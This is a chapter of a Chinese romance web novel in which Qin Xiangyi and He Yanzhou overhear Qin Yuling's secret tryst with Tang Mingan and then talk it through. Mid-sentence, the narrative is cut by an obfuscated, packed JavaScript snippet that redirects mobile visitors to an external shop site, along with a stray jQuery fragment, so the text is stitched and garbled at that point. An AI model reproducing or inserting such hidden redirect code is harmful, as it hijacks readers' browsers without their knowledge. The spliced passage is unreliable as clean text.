15. 第 15 章
    她心里很生气,但也知道自己并没有资格生气。

    说到底,这也不关她的事。

    她也不能现在闯进去,会损害铃儿的尊严,她只能在这里等着里面的人结束后出来。

    她希望铃儿此次是来跟唐明安把事情说清楚的,但显然不是。

    里面的两个人先是互诉衷肠了一番,然后抱在一起,似乎有无限的情意要说。

    秦相宜是过来人,她听得还算镇静。

    直到后来她坐着的石墩上多了一个人。

    秦相宜吓了一跳,她自己虽然没做亏心事,但她也得把秦雨铃他们藏着点。

    贺宴舟是背着她,错身坐下的。

    她扭头正好可以看见他也扭头的侧脸。

    他们的左手同时撑在石墩上,靠得很近,石墩上的蚂蚁从她指尖上爬过,又爬到他的指尖上去。

    秦相宜深吸了几口气,张了张嘴,最终什么也没说出来。

    她想问:“不是贺宴舟,你跟着我做什么?”

    铃儿的事情最后因她而败露,她真是怎么也没想到。

    但她没问,这句话问出来倒像是一种恼羞成怒,明明是她们的错非要把错推到贺宴舟身上一般。

    可是贺宴舟到底是为什么要跟着她的?秦相宜真是满脑子疑问,她是真的要恼羞成怒了。

    但她没怒起来,刚刚听着里面那样的声音也没脸红,现在倒是红了一张脸。

    她感到羞愧。

    贺宴舟两条腿带动身子朝她那边斜了斜,秦相宜此时再侧头,看见的便是他的正脸了。

    里面的人开始亲嘴了,黏黏糊糊像在拉丝一般的唾液交织声响,清晰地传进了两人的耳朵里。

    秦相宜尚还能维持一张端庄的脸,可贺宴舟与她不同,他从未听过或见过此等场面。

    贺宴舟耳尖悄悄攀上了红,他垂下头,不敢看她,与她一起听到这样的声音,他真是觉得不知所措,狼狈极了。

    羞耻感沿着冰凉坚硬的石墩蔓延上来,让他产生了一种浑身不自在的微妙感觉。

    又怕里头的人听见他们说话,贺宴舟凑近了秦相宜的耳朵,几乎是咬着耳朵在跟她说:“姑姑,没想到你喜欢听这个。”

    秦相宜闻言愣了愣,侧头去看他,贺宴舟只与他对视了一眼,便垂下了头、挪开了眼。

    秦相宜也侧身过去,正襟危坐的贺宴舟,便只能让她看见一张侧脸。

    她凑他耳边气声说道:“你不知道里面是谁?”

    她发现,他耳后,连接着脖颈的一片皮肤很白,能看见攀着他的脖颈而上的青色血管,耳垂后方有一颗红痣。

    贺宴舟摇了摇头:“我只知道有唐明安,另一个人是谁我不知道。”

    亲嘴总不能是一个人的事情。

    秦相宜松了口气,现在只要尽快把贺宴舟弄走就行了,她真是操碎了心。

    但里面不知是怎么回事,好像连亲嘴已经不能满足了似的,发出了一阵愈发黏腻起来的窸窣声响。

    连带着两人越来越重的喘息声传出来,纵是秦相宜,也免不了开始面红耳赤起来。

    “贺宴舟,要不咱们还是先走吧。”

    贺宴舟一张脸红得快要滴出血来了,他却仍不动如山地端端正正在那儿坐着,他的手脚已经不太麻利了,但就在这个不太麻利中,他还从怀里掏出了一个小本本,他说:“不,不行,好不容易又抓到唐明安的小辫子,我得给他记下来。”

    秦相宜面色复杂地观察他,不禁幻想起贺御史到青楼去将那些官员一窝端的场面,必是也像现在这样,一边面红耳赤手脚哆嗦,一边严正法治地将他们一一记录在案。

    一边想着,秦相宜忽然咯咯笑出声来,但是顾及着不能发出太大声响,便只能就这么凑在贺宴舟耳边,看着他的小本本咯咯笑着,笑得隐忍又热烈。

    只见他在小本本上写着:“记,八月二十七,唐明安于秦老将军府,调戏民女,无羞无耻、恶劣至极……”

    贺宴舟微抬起头望她:“不过,另一个人是谁?”

    秦相宜噤了声,一把将他从石墩子上拽起来:“你就别管了,咱们还是先走吧。”

    贺宴舟不抗拒秦相宜对他的肢体接触,但他却总有过大的反应,就比如现在,他觉得自己被她抓过的手臂泛起一阵又一阵的酥麻。

    可她只是拉了他那么一下而已,绝算不上逾矩,可他失态了,逾矩的是他。

    一想到这儿,贺宴舟不得不更加恭谨起来。

    “听姑姑的。”

    秦相宜脸上发起热来,这一声姑姑叫得她更加受之有愧,真是令人感到羞耻啊。

    偏偏这时,里头那两人还说起话来。

    “铃儿,你真的要嫁给贺宴舟了吗?到时候我要是想你该怎么办。”

    秦相宜回头看到又坐回了石墩子上的贺宴舟,咬碎了一口美人牙,这个该死的唐明安啊。

    “你想我那就想着呗,谁叫你动作慢,不赶在贺家之前来娶我的。”

    贺宴舟在石墩子上坐了一会儿,随后秦相宜坐到了他身边,并排着。

    她叹了声气,在他身边坐下时似是有些怅然释怀的感觉,就这样吧,随便吧。

    贺宴舟的脸上并没有什么多余的表情,似乎并没有为这件事产生什么喜怒。

    “那铃儿,你到时候去了贺家,可不能忘了我啊,我找你,你会来见我吗?”

    秦相宜侧头去看贺宴舟的神情,这个唐明安胆子也实在是太大了,还很无耻,竟敢问出这样的问题来。

    她希望贺宴舟少生点气,像这种事情,维持体面才是最重要的。

    要是贺宴舟因为这点事情失了体面,秦相宜一颗心才真是揪着疼。

    她伸手扯了扯他的衣袖,轻声道:“贺宴舟,你别生气。”

    语气间还颇有些小心翼翼,她的声音软起来是真的很柔,静静地就能抚慰人心。

    贺宴舟侧过头看她,他眼底的情绪却是:“姑姑,你一早就知道。”

    里头秦雨铃还道:“明安哥哥,待我跟贺宴舟成婚之后,便可以与你行那事了。”

    说这句话时,秦雨铃垂下头,脸颊微红。

    贺宴舟站起身,迈开步伐走了出去,秦相宜怕他今日就这么当着母亲的寿宴上做出什么冲动的事情,连忙追了上去。

    就算是来捉奸也是沉稳镇静的步伐此时也有些乱了起来,她快步跟

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14286617|151877||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    上了贺宴舟,腰间挂着的玉佩叮当作响。

    “贺宴舟,你等等。”

    贺宴舟听到她走路的声音,便放慢了步伐,等着她追上自己,并排行走。

    “姑姑,你既然早就知道了,就从没为我着想过吗?”

    秦相宜低下头:“贺宴舟,你不必再叫我姑姑,我也当不得你的姑姑。”

    她心里也难受得紧,既是为了铃儿的婚事,又是为了自己在宫里从此的无依无靠,还有那么一丝隐晦的情绪,是为了他——贺宴舟不该面对这样的事情,他是那么干净的一个人,她该捂住他的耳。

    贺宴舟一双眼盛满了受伤的情绪,难以置信地看着她:“姑姑,你。”他不能叫了吗。

    对着那样一双眼,秦相宜叹了声气,忽然懂了他的情绪,他们从第一天见面起,就有惺惺相惜的情感存在,他们是知己,贺宴舟也一直觉得,秦相宜会懂他。

    秦相宜觉得自己待他,须得万分真诚才行,她不想对他说任何假话。

    她的声音很柔缓,她直视着他的眉眼,忽然用一种十分郑重的态度说道:“贺宴舟,我不要你叫我姑姑了,是因为铃儿的原因,但你很好,真的很好很好,

    之前我瞒着你这件事,是因为铃儿是我的侄女,我不能不为她考虑,但绝不是因为我不在意你,

    现在你既然已经知道了,我也希望你,能够妥善处理,我,我也不希望因为这件事情影响我们之间的关系,贺宴舟。”

    她一连叫了他好几声他的名字,她的意思表达得很清楚,他就是一个很好很好的人,他值得她的所有夸奖,用最好的词语来形容。

    他们之间是有交情的,抛开秦贺两家婚事不谈,他们之间就是有实实在在的交情存在的。

    而现在秦相宜承认了这段交情。

    这段话对贺宴舟来说,有一些意义存在。

    他看到秦相宜垂下头,眉黛似远山一样悠长,两腮是春雪中凝冻的洁白梅花,她说:“倒是我,白承了你这么多天姑姑的身份,我很感激你这段时间送我出入宫,也真的帮了我大忙。”

    但是他说:“姑姑,你把我想得也太脆弱不堪了,这件事情对我造不成任何影响,而我也早已见惯了你无法想象的世间最肮脏的那些事情。我能够承担起很多事情。”

    他从始至终在意的,是她那些想要继续尝试隐瞒他的动作。她何苦要去做那些呢。

    他说:“这件事情你不用管了,我也不想你再管,我会妥善处理好一切,好吗?”

    秦相宜在他直勾勾地目光里败下阵来。

    “好,我不管。”

    与此同时,戚氏在江老夫人热切又自豪的目光中,宣布了贺家正在与秦家议亲的事情,所有人再次看待秦家的目光便又不一样了。

    听到这一切的秦相宜,若是在之前,必定会觉得在贺宴舟面前再也抬不起头来了,一整个秦家摆在贺宴舟面前,简直像一个极大的笑话。

    但现在他们隔着宴饮正欢的满堂宾客,只是对视了一眼,她静下心来,她完全明白贺宴舟的意思,贺宴舟不要她管秦家的任何事,便是一早就将她摘在了秦家之外。

    他尊她为姑姑,从来也与秦雨铃无关。